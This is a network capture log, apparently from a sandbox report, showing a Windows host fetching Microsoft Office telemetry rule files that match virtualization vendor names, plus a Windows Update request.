2024-11-19 23:19:18 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:18 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: bdf96f18-c01e-0066-808c-3aa1ec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231918Z-r1d97b99577d6qrbhC1TEBux5s000000081000000000r7ms x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:18 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.6	49771	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:19 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:19 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:19 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: 7bd180c9-401e-008c-0e8c-3a86c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231919Z-185f5d8b95csd4bwhC1NYCq7dc00000009b0000000009tke x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:19 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.6	49772	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:19 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:19 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:19 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: 2155a01d-401e-00a3-768c-3a8b09000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231919Z-185f5d8b95c4hl5whC1NYCeex0000000099000000000hpvz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:19 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.6	49773	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:19 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:19 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:19 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: be70f01e-301e-000c-538c-3a323f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231919Z-1777c6cb754n67brhC1TEBcp9c00000008wg000000004znr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:19 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.6	49775	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:19 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:19 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:19 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: 538c9d0d-101e-0028-1c8c-3a8f64000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231919Z-r1d97b99577jlrkbhC1TEBq8d000000007yg000000006zda x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:19 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.6	49774	20.109.210.53	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:19 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=uFnXMHOoobFnOmG&MD=HBDadzPT HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-19 23:19:19 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: e3866a85-496c-4e9f-a4b9-57d543e6d02e MS-RequestId: 583cf433-917f-42c4-a440-2ad04e8de5f3 MS-CV: Kb8+hLLnik6XO1er.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Tue, 19 Nov 2024 23:19:18 GMT Connection: close Content-Length: 24490
2024-11-19 23:19:19 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-11-19 23:19:19 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.6	49776	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:19 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:19 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:19 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: 8e68b2a4-701e-005c-1a8c-3abb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231919Z-1777c6cb754ww792hC1TEBzqu400000008pg000000004wuv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:19 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.6	49778	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:19 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:19 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:19 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: f37cb76d-d01e-0017-2085-3ab035000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231919Z-r1d97b99577kk29chC1TEBemmg0000000840000000005utp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:19 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.6	49779	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:19 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:20 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:19 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: af4852c5-601e-000d-3a8c-3a2618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231919Z-185f5d8b95c5lcmhhC1NYCsnsw00000009hg000000003vzz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:20 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.6	49780	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:19 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:20 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:19 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: 961908b5-401e-0016-178c-3a53e0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231919Z-1777c6cb754gvvgfhC1TEBz4rg00000008x00000000039w7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:20 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.6	49781	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:20 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:20 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:20 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: 38897a0b-401e-000a-7a8c-3a4a7b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231920Z-185f5d8b95c4hl5whC1NYCeex0000000099000000000hpxm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:20 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.6	49783	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:20 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:20 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:20 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: 5c70d6ce-001e-00ad-368c-3a554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231920Z-185f5d8b95crl6swhC1NYC3ueg00000009ng0000000011te x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
